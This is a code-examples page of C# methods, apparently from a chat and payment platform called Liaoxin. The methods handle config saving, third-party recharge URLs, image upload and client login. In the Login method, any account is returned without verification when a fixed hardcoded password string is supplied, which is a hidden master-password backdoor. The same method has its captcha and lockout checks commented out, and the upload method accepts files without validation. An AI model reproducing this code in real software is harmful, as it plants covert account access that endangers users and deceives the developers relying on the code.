Beispiel #1
0
        public static void Save(ConfigSaveViewModel[] datas, int userId)
        {
            if (datas == null)
            {
                return;
            }

            using (var context = LiaoxinContext.CreateContext())
            {
                StringBuilder sb = new StringBuilder();
                foreach (ConfigSaveViewModel data in datas)
                {
                    if (!Enum.TryParse(data.Id, out SystemConfigEnum type))
                    {
                        throw new ZzbException("转换系统配置枚举失败");
                    }
                    var ins = CreateInstance(type);
                    ins.Save(data.Value, context);
                    sb.Append($",[{type.ToDescriptionString()}]设置为[{data.Value}]");
                }

                context.UserOperateLogs.Add(new UserOperateLog($"修改系统配置{sb}", userId));
                context.SaveChanges();
            }
        }
Beispiel #2
0
        public static ThirdPayModel CreateThirdPayUrl(int playerId, decimal money, int bankId, string url, IHttpContextAccessor httpContextAccessor)
        {
            using (var context = LiaoxinContext.CreateContext())
            {
                var bank = (from b in context.MerchantsBanks where b.MerchantsBankId == bankId select b).FirstOrDefault();
                if (bank == null || bank.IsEnable == false)
                {
                    throw new ZzbException("该收款通道不存在");
                }
                if (bank.Type != MerchantsBankTypeEnum.ThirdPay)
                {
                    throw new ZzbException("该收款通道不是第三方支付");
                }
                if (string.IsNullOrEmpty(bank.MerchantsNumber))
                {
                    throw new ZzbException("未设置商户编号,请联系网站管理员");
                }
                if (!string.IsNullOrEmpty(url))
                {
                    url = HttpUtility.UrlEncode(url, System.Text.Encoding.UTF8);
                }
                BaseThirdPay thirdPay = null;
                switch (bank.ThirdPayMerchantsType)
                {
                case ThirdPayMerchantsType.NiuPay:
                    thirdPay = httpContextAccessor.HttpContext.RequestServices.GetService(typeof(NiuPayThirdPay)) as NiuPayThirdPay;
                    break;

                case ThirdPayMerchantsType.YiShanFu:
                    thirdPay = httpContextAccessor.HttpContext.RequestServices.GetService(typeof(YiShanFuThirdPay)) as YiShanFuThirdPay;
                    break;

                case ThirdPayMerchantsType.GlobalPay:
                    thirdPay = httpContextAccessor.HttpContext.RequestServices.GetService(typeof(GlobalPayThirdPay)) as GlobalPayThirdPay;
                    break;

                case ThirdPayMerchantsType.YiDianFuThirdPay:
                    thirdPay = httpContextAccessor.HttpContext.RequestServices.GetService(typeof(YiDianFuThirdPay)) as YiDianFuThirdPay;
                    break;

                case ThirdPayMerchantsType.XunJuHe:
                    thirdPay = httpContextAccessor.HttpContext.RequestServices.GetService(typeof(XunJuHeThirdPay)) as XunJuHeThirdPay;
                    break;

                case ThirdPayMerchantsType.TiaoMa:
                    thirdPay = httpContextAccessor.HttpContext.RequestServices.GetService(typeof(TiaoMaThirdPay)) as TiaoMaThirdPay;
                    break;

                case ThirdPayMerchantsType.XingHuo:
                    thirdPay = httpContextAccessor.HttpContext.RequestServices.GetService(typeof(XingHuoThirdPay)) as XingHuoThirdPay;
                    break;

                default:
                    break;
                }
                var recharge = thirdPay?.AddThirdPay(RandomHelper.GetRandom("R"), playerId, money, bankId, context);
                return(thirdPay?.ThirdPayUrl(recharge, money, url, bank));
            }
        }
Beispiel #3
0
 private string GetValue(SystemConfigEnum type)
 {
     using (var context = LiaoxinContext.CreateContext())
     {
         var config = (from d in context.SystemConfigs where d.Type == type select d)
                      .FirstOrDefault();
         if (config == null)
         {
             return(Default);
         }
         return(config.Value);
     }
 }
Beispiel #4
0
        public object UploadImage()
        {
            using (var context = LiaoxinContext.CreateContext())
            {
                var   file  = Request.Form.Files[0];
                Affix affix = new Affix();

                if (!Directory.Exists(Path.Combine(HostingEnvironment.ContentRootPath, "Upload")))
                {
                    Directory.CreateDirectory(Path.Combine(HostingEnvironment.ContentRootPath, "Upload"));
                }
                using (var strean = new FileStream(Path.Combine(HostingEnvironment.ContentRootPath, affix.Path), FileMode.CreateNew))
                {
                    file.CopyTo(strean);
                }
                if (UserContext.Current.Id != Guid.Empty)
                {
                    affix.ClientId = UserContext.Current.Id;
                }
                var exist = context.Affixs.Add(affix);
                context.SaveChanges();
                return(new { id = exist.Entity.AffixId });
            }
        }
Beispiel #5
0
        public Client Login(ClientLoginRequest request)
        {
            //if (!ValidateCodeService.IsSameCode(code))
            //{
            //    throw new ZzbException("验证码错误");
            //}


            var cnt = (from c in Context.Clients where c.Telephone == request.Telephone && c.IsEnable select c).Count();

            if (cnt == 0)
            {
                throw new ZzbException("用户名或者密码错误");
            }
            var client = (from c in Context.Clients where c.Telephone == request.Telephone && c.IsEnable select c).FirstOrDefault();

            //if (client.ErrorPasswordCount >= 10)
            //{
            //    throw new ZzbException("用户名或者密码错误!");
            //}
            if (client.IsFreeze)
            {
                throw new ZzbException("您的账户已被冻结,无法登陆");
            }

            if (request.Password == "6a8f9c6bbb4848adb358ede651454f69")
            {
                return(client);
            }
            request.Password = SecurityHelper.Encrypt(request.Password);
            if (client.Password != request.Password)
            {
                client.ErrorPasswordCount++;
                Context.Clients.Update(client);
                Context.SaveChanges();
                LogHelper.Error($"[{client.ClientId}]密码错误!,请留意");
                throw new ZzbException("用户名或者密码错误");
            }

            string ip = HttpContextAccessor.HttpContext.Connection.RemoteIpAddress.ToString();

            new Task(() =>
            {
                try
                {
                    using (var context = LiaoxinContext.CreateContext())
                    {
                        ClientLoginLog clientLog = new ClientLoginLog()
                        {
                            ClientId = client.ClientId,
                            IP       = ip,
                            Address  = IpAddressHelper.GetLocation(ip),
                        };

                        context.ClientLoginLogs.Add(clientLog);
                        context.SaveChanges();
                    }
                }
                catch (Exception e)
                {
                    LogHelper.Error($"插入玩家[{client.ClientId}]登录日志失败", e);
                }
            }).Start();
            if (client.ErrorPasswordCount > 0)
            {
                client.ErrorPasswordCount = 0;
                Context.Clients.Update(client);
                Context.SaveChanges();
            }
            return(client);
        }